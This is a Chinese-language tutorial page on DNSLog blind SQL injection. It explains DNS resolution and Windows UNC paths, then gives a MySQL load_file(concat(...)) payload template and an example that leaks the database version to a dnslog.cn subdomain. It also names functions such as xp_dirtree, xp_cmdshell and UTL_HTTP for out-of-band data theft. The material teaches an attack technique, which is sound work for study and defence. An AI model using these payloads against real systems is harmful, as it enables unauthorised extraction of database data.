当前位置: 首页 > news >正文

DNSLog盲注

DNSLog盲注


要想理解DNSlog盲注,首先要清楚DNS的工作原理

一、DNS 域名解析全过程

作用

DNS:把域名解析成 IP 地址


完整解析流程

1.浏览器缓存检查

当你输入网址时,浏览器会先在自己的“小本子”里找。如果你近期访问过该网站,浏览器会直接从缓存中提取 IP 地址。

2.操作系统缓存与 Hosts 文件

如果浏览器没找到,它会去问操作系统。系统会检查自己的 DNS 缓存,并查看本地的 hosts 文件。如果里面有记录,解析就此结束。

3.本地 DNS 服务器(LDNS)

如果本地没找到,请求会发给你的互联网服务提供商(ISP),即本地 DNS 服务器。这是解析过程的“总调度站”。

4.根域名服务器(Root Server)

如果 LDNS 也没有缓存,它会去问根服务器。根服务器不负责具体的域名,但它会告诉 LDNS:“我不知道 google.com,但我知道 .com 区域的管理员在哪,你去问它。”

5.顶级域名服务器(TLD Server)

LDNS 根据根服务器的指引,找到负责 .com 的顶级域名服务器。TLD 服务器会说:“我知道这个域名,但具体地址在它的授权 DNS 服务器上,去那里找。”

6.权威 DNS 服务器(Authoritative Server)

这是域名解析的终点站。LDNS 访问该域名的权威服务器(通常由云服务商或注册商提供)。权威服务器会查表并给出该域名最终对应的 IP 地址。

7.结果返回与缓存

LDNS 拿到 IP 地址后,会赶紧把它存进自己的缓存里(方便下次有人问),然后把结果扔回给你的电脑。

8.建立连接

浏览器拿到 IP 地址,终于可以向目标服务器发起 TCP 握手,开始加载网页内容了


以访问 www.baidu.com 为例:

谁在跑腿?(递归 vs 迭代)

实际上,你的电脑(客户端)通常只跑第一步:
你(客户端):只问本地 DNS 服务器 (LDNS):“喂,www.baidu.com 是多少?不知道就帮我去查,我只要结果。” (这叫递归查询)

本地 DNS 服务器:它才是那个满世界跑的“外卖员”。它去问根服务器、顶级域服务器,直到拿到结果。(这叫迭代查询)

服务器层级的精准划分

.baidu.com 服务器和 www.baidu.com 服务器,在现实中通常是同一组服务器,统称为权威 DNS 服务器。

我们可以把这个过程具象化为一个找人的过程:

根服务器 (.):它不分具体的 baidu 还是 google,它只看后缀。它会告诉你:“后缀是 .com?去问 .com 顶级域服务器。”

顶级域 (TLD) 服务器 (.com):它也不直接存 IP。它会告诉你:“baidu.com 归百度公司的服务器管,去问百度的权威 DNS。”

权威 DNS 服务器 (baidu.com):这是终点站。它查了一下自己的数据库,告诉你:“www 这个主机的 IP 是 110.242.68.4。”


核心结论

只要发生 DNS 查询,请求的“完整域名”一定会被记录


二、UNC 路径(DNSLog 利用关键)

1. 什么是 UNC(网络文件共享资源路径)

在 Windows 中,如果你想访问另一台电脑上的共享文件,你通常会输入这样的路径:

\\192.168.1.100\share\file.txt

当你把 IP 地址换成域名时,比如:

\\secret.your-dnslog.com\anyfile

Windows 的行为逻辑如下:

识别路径:系统看到\\开头,意识到:“哦,这不是本地文件,这是个网络共享路径。”

解析域名:系统为了找到secret.your-dnslog.com这台机器,必须先知道它的 IP。

发起 DNS 查询:系统会自动向配置的 DNS 服务器询问该域名的 IP。

2. load_file() 的“误操作”

在 MySQL 中,load_file() 函数允许你传入一个路径字符串。

如果你传的是 C:/boot.ini,它就去读本地硬盘。

如果你传的是\\my-hacker-dns.com\abc,MySQL 会调用 Windows 的底层文件系统接口去尝试打开这个“网络文件”。

重点来了: 即使这个网络路径根本不存在,或者那个服务器上压根没有 abc 这个文件,只要 MySQL 尝试去“看一眼”这个路径,Windows 就必须先解析域名。

解析一旦发起,你的 DNSLog 服务器就会留下记录。

3️. 关键点

DNSLog 利用的不是文件读取
而是“触发 DNS 解析”


注意

  • 仅 Windows 支持 UNC
  • Linux 无法利用该方式

三、DNSLog 盲注原理

一句话

让数据库访问攻击者域名,把数据拼进子域名中带出来

DNSlog盲注有固定结构,主要分为三部分:

SELECT load_file(concat('\\\\', [数据], '.你的域名\\a'));
  • 第一部分是'\\\\',这里之所以需要四个\是因为SQL中需要转义,四个\最后转义为\\符合UNC标准
  • 第二部分是[数据],填入要外带的数据就行,比如database()、version()
  • 第三部分是.域名\\a,不要漏了域名前的.,另外\\a也是为了转义为\
    ,其实\\a并不是必须的,但是为了稳定、符合UNC的标准所以随意编造一个不存在的目录a即可

示例

SELECT load_file(concat('\\\\',version(),'.abc.dnslog.cn\\a'));

实际请求

\\5.7.26.abc.dnslog.cn\a

DNS 查询

5.7.26.abc.dnslog.cn

DNSLog 记录

5.7.26.abc.dnslog.cn

成功获取数据库版本


本质

数据 → 拼接到域名 → DNS 查询 → 被记录


四、核心条件

必须满足:

1:数据库能出网

  • 能发 DNS 请求

2:有可用函数

数据库方法
MySQLload_file
MSSQLxp_dirtree / xp_cmdshell
OracleUTL_HTTP

http://www.cnnetsun.cn/news/1433832.html

相关文章:

  • 关于exists中标量子查询条件改写经验
  • SQL 多表联查 +ADO.NET学习总结:从基础到实战
  • Windows EFS文件加密系统
  • 2026年AIGC检测能查出用了降AI工具吗?真相可能和你想的不一样
  • el-input输入限制全攻略:从整数到小数,再到特殊符号过滤
  • 嵌入式软件测试工具选型与工程实践指南
  • CAM++系统效果实测:说话人验证相似度计算,结果清晰直观
  • Starry Night效果惊艳展示:15步内生成1024px高清幻想画作集
  • GeoScene Pro实战:5步搞定FLUS模型土地利用预测(附避坑指南)
  • C语言 函数的递归和迭代
  • M2LOrder安全部署指南:防范模型投毒与对抗样本攻击
  • AI元人文:以伦理中间件为桥,锚定PKSP与人类责任主义的意义共生
  • Z-Image Turbo极简部署:免环境配置生成高质量图像
  • vue框架header固定导航header
  • Linemod算法实战:在ROS+Realsense D435i上实现工业零件的实时抓取定位
  • 银河麒麟v10下Anaconda与PyCharm的极简安装指南
  • YOLOv8与YOLOv5深度对比:Anchor-Free带来的性能提升与迁移学习实践
  • 模型预测控制在空调加热器中的应用与实现
  • Arduino 24LC64F EEPROM 驱动库:字节级擦写与I²C高可靠实现
  • 653基于放大电路传感器气体烟雾检测仪
  • 深度学习与机器学习如何选择?
  • 零基础玩转Pi0具身智能:浏览器一键体验机器人动作生成
  • CosyVoice3快速部署指南:一键运行,开启你的语音克隆之旅
  • 2025 高效整理雪球内容:自动化下载与多格式导出实战
  • 5年下滑50万辆,东风本田的表现到底该怎么看?
  • SmolVLA构建智能客服:微信小程序端对话机器人集成
  • ESP32+手机热点5分钟搭建个人WebServer(附完整代码)
  • PARL核心架构深度解析:Model、Algorithm、Agent三要素
  • 终极TensorPack图像增强全攻略:从基础变换到高级技巧
  • SaaS Boilerplate桌面化:Electron与Tauri跨平台方案深度测评